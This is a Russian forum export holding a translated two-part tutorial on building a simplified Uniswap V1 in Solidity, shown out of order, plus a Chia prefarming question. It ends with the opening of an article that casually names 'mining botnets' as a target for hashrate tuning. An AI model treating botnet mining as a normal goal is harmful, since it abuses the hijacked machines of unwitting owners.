Нам необходимо иметь способ вознаграждения поставщиков ликвидности за их вклад. Если у них не будет мотивации, то они не будут предоставлять ликвидность, потому что никто не станет вкладывать свои eth\токены в сторонний смарт-контракт просто так. Более того, вознаграждение поставщикам ликвидности не должно выплачиваться нами (разработчиками), потому что для этого нам (разработчикам) пришлось бы искать инвестиции или выпускать свой инфляционный токен.

Единственным хорошим решением является взимание небольшой комиссии с каждого обмена токенов и распределение накопленной комиссии между поставщиками ликвидности. Это также кажется вполне обоснованным: пользователи (трейдеры) платят за услуги (ликвидность), предоставляемые другими людьми.

Чтобы вознаграждение было справедливым, мы должны вознаграждать поставщиков ликвидности пропорционально их вкладу, т.е. количеству ликвидности, которую они предоставляют. Если кто-то предоставил 50% ликвидности пула, он должен получить 50% накопленных средств. В этом есть смысл, верно?

Сейчас эта задача кажется довольно сложной. Однако есть элегантное решение: токены поставщиков ликвидности или LP-токены.

LP-токены - это, по сути, токены ERC20, автоматически выпущенные и переданные поставщикам ликвидности в обмен на их вклад в ликвидность. По сути, LP- токены - это акции :

  1. Вы получаете LP-токены в обмен на вашу ликвидность, которую вы предоставили в пул.
  2. Количество получаемых вами LP-токенов пропорционально доле вашей ликвидности в резервах пула.
  3. Комиссионные распределяются пропорционально количеству принадлежащих вам LP-токенов.
  4. LP-токены можно обменять обратно на ликвидность и получить накопленные комиссии.

Хорошо, как мы будем рассчитывать количество выпущенных LP-токенов в зависимости от объема предоставленной ликвидности? Это не так очевидно, потому что есть некоторые требования, которым мы должны соответствовать:

  1. Каждая выпущенная акция должна быть всегда правильной. Если кто-то после меня добавляет или удаляет из пула ликвидность, моя доля должна оставаться соответствующей моему вкладу в общем объеме ликвидности.
  2. Операции записи (например, сохранение новых данных или обновление существующих данных в смарт-контракте) в Ethereum очень дороги. Поэтому мы хотим снизить затраты на обслуживание LP-токенов (т. е. мы не хотим запускать функции, которое регулярно пересчитывает и обновляют пропорциональное соотношение долей).

Представьте, что мы выпускаем много токенов (скажем, 1 миллиард) и распределяем их между всеми поставщиками ликвидности. Если мы всегда распределяем все токены (первый поставщик ликвидности получает 1 млрд, второй

Единственным хорошим решением является полное отсутствие лимитов по запасам и выпуску новых токенов при добавлении новой ликвидности. Это позволяет бесконечно наращивать LP-токены, и, если мы используем правильную формулу, все выпущенные LP-токены останутся в правильном соотношении к общему объему ликвидности (будут пропорционально увеличиваться) при добавлении или удалении ликвидности. К счастью, инфляция не снижает стоимость LP-токенов, потому что они всегда подкреплены некоторым количеством ликвидности, которое не зависит от количества выпущенных LP-токенов.

Теперь последняя деталь в этой головоломке: как подсчитать количество LP- токенов, которые нужно выпустить при внесении ликвидности?

В смарт-контракте Биржи сохраняются резервы eth и токенов. Но как мы будем рассчитывать кол-во LP-токенов? На основе общего резерва? Или только одного из них (eth, токен)? Uniswap V1 рассчитывает количество LP-токенов пропорционально резерву eth, но Uniswap V2 может проводить обмен только между токенами (не между eth и токеном), поэтому неясно, какой расчёт выбирать. Давайте придерживаться того, что делает Uniswap V1, а позже мы посмотрим, как решить эту проблему, когда есть два токена ERC20.

Это уравнение показывает, как рассчитывается количество новых LP-токенов в зависимости от количества вложенных eth:
Формула чеканки LP- токенов
Формула чеканки LP-токенов

Каждый поставщик ликвидности отчеканивает себе LP-токены пропорционально доле размещённых eth в общем резерве eth. Это непросто, попробуйте подставить разные числа в это уравнение и посмотрите, как изменится общая сумма. Например, какими будут amountMinted и totalAmount, если кто-то депонирует определенное количество eth в etherReserve? Остаются ли выпущенные до этого акции правильными (правильное соотношение к обновлённому размеру ликвидности)?

Перейдём к коду.

Прежде чем модифицировать addLiquidity, нам нужно сделать наш смарт-контракт Exchange контрактом ERC20 и изменить его конструктор:

Code:Copy to clipboard

contract Exchange is ERC20 {
    address public tokenAddress;
    constructor(address _token) ERC20("Zuniswap-V1", "ZUNI-V1") {
        require(_token != address(0), "invalid token address");
        tokenAddress = _token;
    }
}

Наши LP-токены будут иметь имя и символ. Не стесняйтесь взять этот код и улучшить его.

Теперь обновим addLiquidity: при добавлении начальной ликвидности количество выпущенных LP-токенов равно количеству внесенных eth.

Code:Copy to clipboard

function addLiquidity (uint256 _tokenAmount)
    public
    payable
    returns (uint256)
{
    if (getReserve() == 0) {
        ...
        uint256 liquidity = address(this).balance;
        _mint(msg.sender, liquidity);
        return liquidity;

Дополнительная ликвидность выпускает LP-токены пропорционально количеству вложенных eth:

Code:Copy to clipboard

 } else {
        ...
        uint256 liquidity = (totalSupply() * msg.value) / ethReserve;
        _mint(msg.sender, liquidity);
        return liquidity;
    }
}

Всего несколько строк, и у нас теперь есть LP-токены!

Сборы-поборы​

Теперь мы готовы к сбору комиссионных по производимым в пуле обменам. Перед этим нам нужно ответить на несколько вопросов:

  1. Хотим ли мы брать комиссионные в eth или токенах? Хотим ли мы выплачивать вознаграждение поставщикам ликвидности в eth или токенах?
  2. Как собрать небольшую фиксированную плату с каждого обмена?
  3. Как распределить накопленные комиссии между поставщиками ликвидности пропорционально их вкладу?

Опять же, это может показаться сложной задачей, но у нас уже есть все для ее решения.

Давайте подумаем над последними двумя вопросами. Мы можем ввести дополнительный платеж, который отправляется вместе со сделкой обмена. Такие платежи накапливаются в фонде, из которого любой поставщик ликвидности может изъять сумму, пропорциональную своей доле. Это звучит как разумная идея, и, как ни удивительно, она уже почти реализована:

  1. Трейдеры уже отправляют eth/токены в смарт-контракт Биржи. Вместо того чтобы запрашивать комиссию, мы можем просто вычесть ее из eth/токенов, которые отправляются на смарт-контракт.
  2. У нас уже есть фонд - это резервы Биржи! Резервы могут быть использованы для накопленных сборов. Это также означает, что резервы будут расти со временем , так что формула постоянного соотношения торгуемых пар не такая уж и постоянная! Однако это не делает ее недействительной: комиссия мала по сравнению с резервами, и нет способа манипулировать ею, чтобы попытаться существенно изменить резервы.
  3. И теперь у нас есть ответ на первый вопрос: комиссии выплачиваются в валюте торгуемого актива. Поставщики ликвидности получают сбалансированное количество eth и токенов плюс долю накопленных комиссий, пропорциональную доле их LP-токенов.

Вот и все! Переходим к коду.

Uniswap берет 0,03% комиссии с каждого обмена. Мы возьмем 1%, просто чтобы было легче увидеть разницу в тестах. Добавить комиссию в смарт-контракт так же просто, как добавить пару множителей в функцию getAmount:

Code:Copy to clipboard

function getAmount(
        uint256 inputAmount,
        uint256 inputReserve,
        uint256 outputReserve
    ) private pure returns (uint256) {
        require(inputReserve > 0 && outputReserve > 0, "invalid reserves");
        uint256 inputAmountWithFee = inputAmount * 99;
        uint256 numerator = inputAmountWithFee * outputReserve;
        uint256 denominator = (inputReserve * 100) + inputAmountWithFee;
        return numerator / denominator;
    }

Поскольку Solidity не поддерживает деление с плавающей запятой, нам придется прибегнуть к хитрости: числитель и знаменатель умножаются на степень 10, а сбор вычитается из множителя в числителе. Обычно мы вычисляем это так:

В Solidity мы должны делать это именно так:

Но это все равно одно и то же.

Удаление ликвидности​

Наконец, последняя функция в нашем списке: removeLiquidity.

Для удаления ликвидности мы снова можем использовать LP-токены: нам не нужно помнить суммы, депонированные каждым поставщиком ликвидности, и мы можем рассчитать количество удаленной ликвидности на основе доли LP-токенов.

Code:Copy to clipboard

function removeLiquidity(uint256 _amount)
        public
        returns (uint256, uint256)
    {
        require(_amount > 0, "invalid amount");
        uint256 ethAmount = (address(this).balance * _amount) / totalSupply();
        uint256 tokenAmount = (getReserve() * _amount) / totalSupply();
        _burn(msg.sender, _amount);
        payable(msg.sender).transfer(ethAmount);
        IERC20(tokenAddress).transfer(msg.sender, tokenAmount);
        return (ethAmount, tokenAmount);
    }

Когда ликвидность изымается, она возвращается как в eth, так и в токенах, и их количество, конечно же, уравновешивается. Именно этот момент и приводит к [непостоянным потерям](https://pintail.medium.com/uniswap-a-good-deal-for- liquidity-providers-104c0b6816f2): соотношение резервов меняется со временем вслед за изменениями их цен в российских рублях. Когда ликвидность удаляется, баланс может отличаться от того, каким он был, когда ликвидность была внесена. Это означает, что вы получите разное количество eth и токенов, а их общая цена может быть ниже, чем если бы вы просто держали их в кошельке.

Для расчета сумм мы умножаем резервы на долю LP-токенов:

Обратите внимание, что LP-токены сгорают каждый раз, когда ликвидность снимается. LP-токены обеспечены только депонированной ликвидностью.

LP-вознаграждения и непостоянные потери​

Давайте напишем тест, который воспроизводит полный цикл добавления ликвидности, обмена токенов, накопления комиссии и удаления ликвидности:

  1. Сначала поставщик ликвидности вносит 100 eth и 200 токенов. Таким образом, 1 токен равен 0,5 eth, а 1 eth равен 2 токенам.
    exchange.addLiquidity(toWei(200), { value: toWei(100) });

  2. Пользователь обменивает 10 eth и ожидает получить не менее 18 токенов. Фактически он получил 18,0164 токенов. Сюда входит проскальзывание (торгуемые суммы относительно велики) и комиссия в размере 1%.
    exchange.connect(user).ethToTokenSwap(toWei(18), { value: toWei(10) });

  3. Поставщик ликвидности затем удаляет свою ликвидность:
    exchange.removeLiquidity(toWei(100));

  4. Поставщик ликвидности получил 109,9 eth (с учетом комиссии за транзакцию) и 181,9836 токенов. Как видите, эти цифры отличаются от тех, что были внесены: мы получили 10 eth, которыми торговал пользователь, но в обмен пришлось отдать 18,0164 токенов. Однако эта сумма включает в себя 1% комиссию, которую пользователь заплатил нам. Поскольку поставщик ликвидности предоставил всю ликвидность, он получил все комиссионные.

Заключение​

Надеюсь, LP-токены больше не являются для вас загадкой.

Однако мы еще не закончили: Смарт-контракт Биржи завершен, но нам также необходимо реализовать смарт-контракт Фабрики (Factory), который служит в качестве реестра Бирж и моста, соединяющего несколько Бирж и делающего возможным обмен токенов на токены. Мы реализуем его в следующей части!

Полезные ссылки​

  1. Полный код этой части
  2. Техническое описание Uniswap V1
Программирование DeFi: Uniswap. Часть 1
ID: 67686ad7b4103b69df3799fb
Thread ID: 55143
Created: 2021-08-10T18:05:29+0000
Last Post: 2021-08-10T18:05:29+0000
Author: tabac
Prefix: Статья
Replies: 0 Views: 2K

[Автор оригинала: Ivan Kuznetsov](https://medium.com/coinmonks/programming- defi-uniswap-part-1-839ebe796c7b)
Перевод: Дружининъ @druzhcom

Введение​

Лучший способ научиться чему-то - научить других. Второй лучший способ научиться чему-то - сделать это самому. Я решил объединить эти два способа и научить себя и вас программировать DeFi сервисы на Ethereum (и любых других блокчейнах, основанных на EVM - Ethereum Virtual Machine).

Мы сосредоточимся на том, как работают эти сервисы, попытаемся понять экономическую механику, которая делает их такими, какие они есть (а все DeFi основаны на экономической механике). Мы будем выяснять, разбирать, изучать и создавать основные механизмы DeFi.

Однако мы будем работать только над смарт-контрактами: создание front-end для смарт-контрактов - тоже большая и интересная задача, но она выходит за рамки этой статьи.
Давайте начнем наше путешествие с Uniswap. Полный исходный код можно найти здесь .

Различные версии Uniswap​

По состоянию на июнь 2021 года было запущено три версии Uniswap.
Первая версия (V1) была запущена в ноябре 2018 года и допускала обмен только между eth и токенами. А также были возможны обмены токенов на токены.
Вторая версия (V2) была запущена в марте 2020 года и представляла собой улучшение V1, позволяя осуществлять прямой обмен между любыми токенами ERC20, а также связанный обмен между любыми парами.
Третья версия (V3) была запущена в мае 2021 года и значительно повысила эффективность использования капитала, что позволило поставщикам ликвидности выводить большую часть своей ликвидности из пулов и при этом получать те же вознаграждения (или сжимать капитал в меньших ценовых диапазонах и получать до 4000x прибыли).
В этой серии мы разберем каждую из версий протокола и попробуем построить упрощенные копии каждой из них.
Эта статья посвящена Uniswap V1, чтобы соблюсти хронологический порядок и лучше понять, какие были улучшения от версии к версии.

Что такое Uniswap?​

Uniswap - это децентрализованная криптовалютная биржа (DEX), которая призвана стать альтернативой централизованным биржам. Она работает на блокчейне Ethereum и полностью автоматизирована: здесь нет администраторов, менеджеров или пользователей с привилегированным доступом.

На нижнележащем уровне - это протокол, который позволяет создавать пулы, или пары токенов, и наполнять их ликвидностью, чтобы пользователи могли обменивать (торговать) токены, используя эту ликвидность. Такой алгоритм называется автоматизированным маркет-мейкером или автоматизированным поставщиком ликвидности.
Давайте узнаем больше о маркет-мейкерах.

Маркет-мейкеры (рынкоделы, рынкодвижи) - это организации, которые обеспечивают ликвидность (наполенение торговыыми активами) на классических рынках. Ликвидность - это то, что делает возможными сделки: если вы хотите что-то продать, но никто не покупает это, сделки не будет. Некоторые торговые пары имеют высокую ликвидность (например, BTC-USDT), а некоторые - низкую или вообще не имеют ликвидности (например, некоторые мошеннические или сомнительные альткоины).

DEX должна обладать достаточной ликвидностью, чтобы функционировать и служить альтернативой централизованным биржам. Один из способов получить такую ликвидность - это разработчикам вложить свои собственные деньги (или деньги своих инвесторов) в DEX и стать маркет-мейкером. Однако это сложно осуществимое решение, поскольку потребуется много денег, чтобы обеспечить достаточную ликвидность для всех пар, учитывая, что на DEX позволяют обмениваться любыми токенами. Более того, это сделает DEX централизованным: будучи единственными маркет-мейкерами, разработчики будут иметь в своих руках большую власть.
Лучшее решение - позволить каждому стать маркет-мейкером , и именно это делает Uniswap автоматизированным маркет-мейкером : любой пользователь может внести свои средства в торговую пару (и получить от этого выгоду).
Еще одна важная роль Uniswap - это ценовой оракул. Ценовые оракулы - это сервисы, которые получают цены на токены с централизованных бирж и предоставляют их смарт-контрактам - такими ценами обычно трудно манипулировать, поскольку объемы на централизованных биржах часто очень велики. Однако, не имея таких больших объемов, Uniswap все же может служить в качестве ценового оракула.
Uniswap действует как вторичный рынок, привлекающий арбитражеров, которые получают прибыль на разнице в ценах между Uniswap и централизованными биржами. Благодаря этому цены в пулах Uniswap максимально приближены к ценам на более крупных биржах. И это было бы невозможно без надлежащих функций ценообразования и балансировки резервов.

Постоянное соотношение торгуемых пар​

Вы, вероятно, уже слышали это определение, давайте посмотрим, что оно означает.
Автоматический маркет-мейкер - это общий термин, который охватывает различные алгоритмы децентрализованных маркет-мейкеров. Самые популярные из них (и те, которые породили этот термин) связаны с рынками предсказаний - рынками, позволяющими получать прибыль на предсказаниях. Uniswap и другие внутрицепочечные биржи являются логичным продолжением этих алгоритмов.
В основе Uniswap лежит формула постоянного соотношения торгуемых пар :

Где x - резерв eth, y - резерв токенов (или наоборот), а k - константа. Uniswap требует, чтобы k оставалось неизменным независимо от того, сколько существует резервов x или y. Когда вы обмениваете eth на токены, вы вкладываете свои eth в смарт-контракт и получаете взамен некоторое количество токенов. Uniswap гарантирует, что после каждой сделки k остается неизменным (на самом деле это не так, позже мы увидим, почему).
Эта формула также отвечает за расчеты цен.

Разработка смарт-контрактов​

Чтобы действительно понять, как работает Uniswap, мы создадим его копию. Мы будем писать смарт-контракты на Solidity и использовать HardHat в качестве среды разработки. HardHat - это действительно хороший инструмент, который значительно упрощает разработку, тестирование и развертывание смарт-контрактов.

Настройка проекта​

Сначала создайте пустой каталог (я назвал свой zuniswap), перейдите в него по cd и установите HardHat:

Code:Copy to clipboard

$ mkdir zuniswap && cd $_

$ yarn add -D hardhat

Нам также понадобится смарт-контракт для создания токенов, давайте воспользуемся смарт-контрактами ERC20, предоставляемыми OpenZeppelin.

Code:Copy to clipboard

$ yarn add -D @openzeppelin/contracts

Инициализируйте проект HardHat и удалите все из папок contract, script и test.

Code:Copy to clipboard

$ yarn hardhat

...следуйте инструкциям...
Последний штрих: мы будем использовать последнюю версию Solidity, на момент написания статьи это версия 0.8.4. Откройте свой hardhat.config.js и обновите версию Solidity в нижней его части.

Токен-контракт​

Uniswap V1 поддерживает обмен только между eth и токенами. Поэтому нам нужен смарт-контракт токенов и для этого мы возьмем стандарт ERC20. Давайте напишем его!

Code:Copy to clipboard

// contracts/Token.sol
pragma solidity ^0.8.0;

import "@openzeppelin/contracts/token/ERC20/ERC20.sol";

contract Token is ERC20 {
constructor(
string memory _name,
string memory _symbol,
uint256 _initialSupply
) ERC20(_name, _symbol) {
_mint(msg.sender, _initialSupply);
}
}

Это все, что нам нужно: мы расширяем смарт-контракт ERC20, предоставленный OpenZeppelin, и определяем собственный конструктор, который позволяет нам задать имя токена (_name), символ (_symbol) и начальное количество токенов (initialSupply). Конструктор также создаёт токены в количестве указано в initialSupply и отправляет их по адресу создателя токена.
Теперь начинается самое интересное!

Смарт-контракт Exchange​

Uniswap V1 имеет только два смарт-контракта: Factory и Exchange.

Factory - это смарт-контракт реестра, который позволяет создавать Биржи (Exchange), отслеживает все развернутые Биржи, позволяет находить адрес Биржи по адресу токена и наоборот. При этом сразу стоит отметить, что каждая обмениваемая пара (eth-токен) развертывается как отдельный смарт-контракт Биржи и этот смарт-контракт позволяет обменивать eth на указанный токен и обратно. Таким образом смарт-контракт Exchange определяет логику проведения обмена на Бирже по одному конкретному токену.

Мы создадим смарт-контракт Exchange, а Factory оставим для другой статьи.

Давайте создадим новый пустой смарт-контракт:

Code:Copy to clipboard

// contracts/Exchange.sol
pragma solidity ^0.8.0;

contract Exchange {}

Поскольку каждая Биржа позволяет обмениваться только одним токеном (или иначе

Code:Copy to clipboard

contract Exchange {
address public tokenAddress;
constructor(address _token) {
require(_token != address(0), “Неправильный адрес токена”);
tokenAddress = _token;
}
}

Адрес токена - это переменная сохраняемая в состоянии смарт-контракта, что делает её доступной из любой другой функции смарт-контракта. Если сделать ее public, пользователи и разработчики смогут прочитать ее и узнать, с каким токеном связана данная Биржа. В конструкторе мы проверяем, что указан правильный адрес токена (не нулевой адрес), и сохраняем его в переменной состояния.

Обеспечение ликвидности​

Как мы уже выяснили, ликвидность делает возможными торги по токенам. Таким образом, нам нужен способ добавить ликвидность в смарт-контракт Биржи:

Code:Copy to clipboard

import "@openzeppelin/contracts/token/ERC20/IERC20.sol";

contract Exchange {
...
function addLiquidity(uint256 _tokenAmount) public payable {
IERC20 token = IERC20(tokenAddress);
token.transferFrom(msg.sender, address(this), _tokenAmount);
}
}

По умолчанию смарт-контракты не могут получать eth, что можно исправить с помощью модификатора payable, который позволяет получать eth в функции: любые eth, отправленные вместе с вызовом функции помеченной как payable, добавляются к балансу смарт-контракта.

Депонирование токенов - это совсем другое дело: поскольку балансы токенов хранятся на смарт-контрактах токенов, мы должны использовать функцию transferFrom (как определено стандартом ERC20) для передачи токенов с адреса отправителя транзакции на смарт-контракт. Кроме того, отправитель транзакции должен будет вызвать функцию approve на смарт-контракте токена, чтобы позволить нашему смарт-контракту Биржи получить свои токены.

Эта реализация addLiquidity не является полной. Я намеренно сделал ее такой, чтобы больше сосредоточиться на функциях ценообразования. Мы восполним этот пробел в одной из последующих статьей.
Давайте также добавим вспомогательную функцию, которая показывает баланс токенов на Бирже:

Code:Copy to clipboard

function getReserve() public view returns (uint256) {
return IERC20(tokenAddress).balanceOf(address(this));
}

И теперь мы можем протестировать addLiquidity, чтобы убедиться, что все правильно:

Code:Copy to clipboard

describe("addLiquidity", async () => {
it("добавляет ликвидность", async () => {
await token.approve(exchange.address, toWei(200));
await exchange.addLiquidity(toWei(200), { value: toWei(100) });
expect(await getBalance(exchange.address)).to.equal(toWei(100));
expect(await exchange.getReserve()).to.equal(toWei(200));
});
});

Сначала мы позволяем смарт-контракту Биржи воспользоваться 200 токенами, вызывая функцию approve. Затем мы вызываем addLiquidity, чтобы внести 200 токенов (для их получения смарт-контракт Биржи вызывает transferFrom) и 100 eth, которые отправляются вместе с вызовом функции. Затем мы убеждаемся, что биржа действительно получила их.

Для краткости я опустил много шаблонного кода в тестах. Пожалуйста, проверьте полный исходный код,если что-то непонятно.

Функция ценообразования​

Теперь давайте подумаем, как мы будем рассчитывать биржевые цены.
Может возникнуть соблазн думать, что цена - это просто отношение запасов, например:

И это логично: смарт-контракты Биржи не взаимодействуют с централизованными биржами или любыми другими внешними ценовыми оракулами, поэтому они не могут знать правильную цену. Фактически, смарт-контракт Биржи - это сам по себе ценовой оракул. Все что они знают - это запасы eth и токенов, и это единственная информация, которой они располагают для расчета цен.
Давайте придерживаться этой идеи и построим функцию ценообразования:

Code:Copy to clipboard

function getPrice(uint256 inputReserve, uint256 outputReserve)
public pure returns (uint256) {
require(inputReserve > 0 && outputReserve > 0, "invalid reserves");
return inputReserve / outputReserve;

}

И давайте проверим это:

Code:Copy to clipboard

describe("getPrice", async () => {

it("возвращает правильные цены", async () => {
await token.approve(exchange.address, toWei(2000));
await exchange.addLiquidity(toWei(2000), { value: toWei(1000) });
const tokenReserve = await exchange.getReserve();
const etherReserve = await getBalance(exchange.address);
// ETH за токен
    expect(
(await exchange.getPrice(etherReserve, tokenReserve)).toString()
).to.eq("0.5");
// токен за ETH
expect(await exchange.getPrice(tokenReserve, etherReserve)).to.eq(2);
  });
});

Мы внесли 2000 токенов и 1000 eth и ожидаем, что цена токена составит 0,5 eth, а цена eth - 2 токена. Однако тест провалился: он говорит, что мы получаем 0 eth в обмен на наши токены. Почему так?
Причина в том, что Solidity поддерживает целочисленное деление с округлением до целого. Цена 0,5 округляется до 0! Давайте исправим это, увеличив точность:

Code:Copy to clipboard

function getPrice(uint256 inputReserve, uint256 outputReserve)
public
pure
returns (uint256)
    {
      ...
return (inputReserve * 1000) / outputReserve;
    }

После обновления теста он пройдет:

Code:Copy to clipboard

// ETH за токен
expect(await exchange.getPrice(etherReserve, tokenReserve)).to.eq(500);

// токен за ETH
expect(await exchange.getPrice(tokenReserve, etherReserve)).to.eq(2000);

Таким образом, теперь 1 токен равен 0,5 eth, а 1 eth равен 2 токенам.

Все выглядит правильно, но что произойдет, если мы обменяем 2000 токенов на eth? Мы получим 1000 eth, а это все, что у нас есть по смарт-контракту! Биржа будет опустошена!
Видимо, что-то не так с функцией ценообразования: она позволяет опустошить Биржу, а этого мы не хотим.

Причина этого в том, что функция ценообразования принадлежит формуле постоянной суммы , которая определяет kkk как постоянную сумму xxx и yyy. Функция этой формулы представляет собой прямую линию:

График функции постоянной суммы

Она пересекает оси x и y , что означает, что она допускает 0 в любой из них! Мы определенно не хотим этого.

Правильная функция ценообразования​

Напомним, что Uniswap является маркет-мейкером постоянного соотношения торгуемых пар, что означает, что он основан на формуле постоянного соотношения торгуемых пар:

Дает ли эта формула лучшую функцию ценообразования? Давайте посмотрим.
Формула гласит, что kkk остается постоянным независимо от того, каковы резервы (xxx и yyy). Каждая сделка увеличивает резерв eth или токена и уменьшает резерв токена или eth - давайте запишем эту логику в формулу:

Где Δx - количество eth или токенов, которые мы обмениваем на Δy - количество токенов или eth, которые мы получаем в обмен. Имея эту формулу, мы можем теперь найти Δy:

Это выглядит интересно: функция теперь учитывает вводимую сумму. Попробуем запрограммировать ее, но учтите, что теперь мы имеем дело с суммами, а не с ценами.

Code:Copy to clipboard

function getAmount(
        uint256 inputAmount,
        uint256 inputReserve,
        uint256 outputReserve
    ) private pure returns (uint256) {
require(inputReserve > 0 && outputReserve > 0, "invalid reserves");
return (inputAmount * outputReserve) / (inputReserve + inputAmount);
    }

Это низкоуровневая функция, поэтому пусть она будет private. Давайте сделаем две высокоуровневые функции-обертки для упрощения вычислений:

Code:Copy to clipboard

function getTokenAmount(uint256 _ethSold) public view returns (uint256) {
require(_ethSold > 0, "ethSold слишком мал");
        uint256 tokenReserve = getReserve();
return getAmount(_ethSold, address(this).balance, tokenReserve);
    }

function getEthAmount(uint256 _tokenSold) public view returns (uint256) {
require(_tokenSold > 0, "tokenSold слишком мал");
        uint256 tokenReserve = getReserve();
return getAmount(_tokenSold, tokenReserve, address(this).balance);
    }

И проверим их:

Code:Copy to clipboard

describe("getTokenAmount", async () => {
it("возвращает правильную сумму токена", async () => {
    ... addLiquidity ...
let tokensOut = await exchange.getTokenAmount(toWei(1));
expect(fromWei(tokensOut)).to.equal("1.998001998001998001");
  });
});

describe("getEthAmount", async () => {
it("возвращает правильную сумму эт", async () => {
    ... addLiquidity ...
let ethOut = await exchange.getEthAmount(toWei(2));
expect(fromWei(ethOut)).to.equal("0.999000999000999");
  });
});

Итак, теперь мы получаем 1,998 токена за 1 eth и 0,999 eth за 2 токена. Эти суммы очень близки к тем, которые были получены с помощью предыдущей функции ценообразования. Однако они немного меньше. Почему так?

Формула постоянного соотношения торгуемых пар , на которой мы основывали наши расчеты цен, на самом деле является гиперболой:

Гипербола никогда не пересекает xxx или yyy, поэтому ни один из резервов никогда не равен 0. Это делает резервы бесконечными!

И есть еще одно интересное следствие: функция ценообразования вызывает проскальзывание (slippage) цены. Чем больше количество торгуемых токенов по отношению к резервам, тем ниже будет цена.

Именно это мы и наблюдали в ходе тестов: мы получили чуть меньше, чем ожидали. Это может показаться недостатком постоянного соотношения торгуемых пар (поскольку каждая сделка имеет проскальзывание), однако это тот же механизм, который защищает пулы от опустошения. Это также согласуется с законом спроса и предложения: чем выше спрос (чем больший объем продукции вы хотите получить) по отношению к предложению (резервам), тем выше цена (тем меньше вы получите).

Давайте улучшим наши тесты, чтобы увидеть, как проскальзывание влияет на цены:

Code:Copy to clipboard

describe("getTokenAmount", async () => {
it("возвращает правильную сумму токена", async () => {
    ... addLiquidity ...
let tokensOut = await exchange.getTokenAmount(toWei(1));
expect(fromWei(tokensOut)).to.equal("1.998001998001998001");
tokensOut = await exchange.getTokenAmount(toWei(100));
expect(fromWei(tokensOut)).to.equal("181.818181818181818181");
tokensOut = await exchange.getTokenAmount(toWei(1000));
expect(fromWei(tokensOut)).to.equal("1000.0");
  });
});

describe("getEthAmount", async () => {
it("возвращает правильное количество eth", async () => {
    ... addLiquidity ...
let ethOut = await exchange.getEthAmount(toWei(2));
expect(fromWei(ethOut)).to.equal("0.999000999000999");
ethOut = await exchange.getEthAmount(toWei(100));
expect(fromWei(ethOut)).to.equal("47.619047619047619047");
ethOut = await exchange.getEthAmount(toWei(2000));
expect(fromWei(ethOut)).to.equal("500.0");
  });
});

Как вы видите, когда мы пытаемся опустошить пул, мы получаем только половину того, что ожидали.

И последнее, что следует отметить: наша первоначальная функция ценообразования, основанная на соотношении резервов, не была ошибочной. На самом деле, она верна, когда количество токенов, которыми мы торгуем, очень мало по сравнению с резервами. Но для создания AMM нам нужно что-то более сложное.

Функция обмена​

Теперь мы готовы к реализации обмена.

Code:Copy to clipboard

function ethToTokenSwap(uint256 _minTokens) public payable {
        uint256 tokenReserve = getReserve();
        uint256 tokensBought = getAmount(
            msg.value,
address(this).balance - msg.value,
            tokenReserve
        );
require(tokensBought >= _minTokens, "недостаточное количество вывода");
        IERC20(tokenAddress).transfer(msg.sender, tokensBought);
    }

Обмен eth на токены означает отправку некоторого количества eth (хранящихся в переменной msg.value) в функцию смарт-контракта и получение токенов взамен. Обратите внимание, что нам нужно вычесть msg.value из баланса смарт-контракта, поскольку к моменту вызова функции отправленные eth уже были добавлены к его балансу.

Другой важной переменной здесь является _minTokens - это минимальное количество токенов, которое пользователь хочет получить в обмен на свои eth. Эта сумма рассчитывается в пользовательском интерфейсе и всегда включает в себя допуск на проскальзывание; пользователь соглашается получить как минимум столько, но не меньше. Это очень важный механизм, который защищает пользователей от подставных ботов, пытающихся перехватить их транзакции и изменить баланс пула в своих интересах.

Наконец, последняя часть кода на сегодня:

Code:Copy to clipboard

function tokenToEthSwap(uint256 _tokensSold, uint256 _minEth) public {
        uint256 tokenReserve = getReserve();
        uint256 ethBought = getAmount(
            _tokensSold,
            tokenReserve,
address(this).balance
        );
require(ethBought >= _minEth, "недостаточное количество продукции");
        IERC20(tokenAddress).transferFrom(
            msg.sender,
address(this),
            _tokensSold
        );
        payable(msg.sender).transfer(ethBought);
    }

Функция передает токены в количестве _tokensSold с баланса пользователя на баланс Брижи и в обмен отправляет пользователю eth в количестве указанном в ethBought.

Заключение​

Вот и все на сегодня! Мы еще не закончили, но мы сделали многое. Наш смарт- контракт Биржи может принимать ликвидность от пользователей, рассчитывать цены таким образом, чтобы защититься от опустошения, и позволяет пользователям обменивать eth на токены и обратно. Это уже много, но некоторых важных частей все еще не хватает:

  1. Добавление новой ликвидности может вызвать значительные изменения цен.
  2. Поставщики ликвидности не получают вознаграждения; все обмены бесплатны.
  3. Нет возможности удалить ликвидность.
  4. Нет возможности обмениваться токенами ERC20.
  5. Фабрика все еще не реализована.

Мы сделаем это в следующей части.

Полезные ссылки​

  1. Введение в смарт-контракты. Много фундаментальной информации о смарт-контрактах, блокчейне и EVM, которую необходимо изучить перед началом разработки смарт-контрактов.
  2. Давайте запускать децентрализованные биржи на цепочке так же, как мы запускаем рынки предсказаний ". Сообщение на Reddit от Виталика Бутерина, в котором он предложил использовать механику рынков предсказаний для создания децентрализованных бирж. Это дало идею использовать формулу постоянного соотношения торгуемых пар.
  3. Документация Uniswap V1
  4. Техническое описание Uniswap V1
  5. Постоянная функция cоздания рынка: инновации в DeFi
  6. Автоматизированное создание рынка: Теория и практика
Префарминг Chia
ID: 67686ad7b4103b69df379a05
Thread ID: 51000
Created: 2021-04-24T07:13:42+0000
Last Post: 2021-07-28T12:56:03+0000
Author: depositor
Replies: 12 Views: 2K

Приветсвтую.Кто пробовал? Стоит ли заходить на префарминг,если после префарминга chia, Chia будет предлагать награду за выращивание в размере 64 сhia каждые 10 минут. В течение первых 12 лет награды за фермерство будут уменьшаться вдвое в конце каждого 3-го года. С 13 года до бесконечности вознаграждения будут оставаться неизменными и составлять 4 chia каждые 10 минут, что приведет к постоянному снижению темпов инфляции. Инфляция Chia упадет до 0,50% через 22 года после запуска основной сети.

Bitcoin hashrate boosting
ID: 67686ad7b4103b69df379a09
Thread ID: 53321
Created: 2021-06-25T20:38:45+0000
Last Post: 2021-07-19T17:27:27+0000
Author: baykal
Prefix: Статья
Replies: 1 Views: 2K

0. Intro
Всем привет.
Это новый выпуск передачи "Очумелые ручки" и сегодня мы будем увеличивать хэшрейт наших майнинг ферм и майнинг ботнетов без дополнительных финансовых вложений.
Каким же образом мы это сделаем? Для этого нам понадобятся исходники софта для майнинга используемого в нашей ферме или нашем ботнете и много свободного времени. Да, да, мои любимые подписчики. Мы будем править сорсы и оптимизировать некоторые алгоритмы используемые в майнинге криптовалюты. В качестве подопытного кролика я взял популярную и дорогую криптовалюту, дедушку криптовалютного мира, детище Сатоши Накамото: всем известный биткоин.
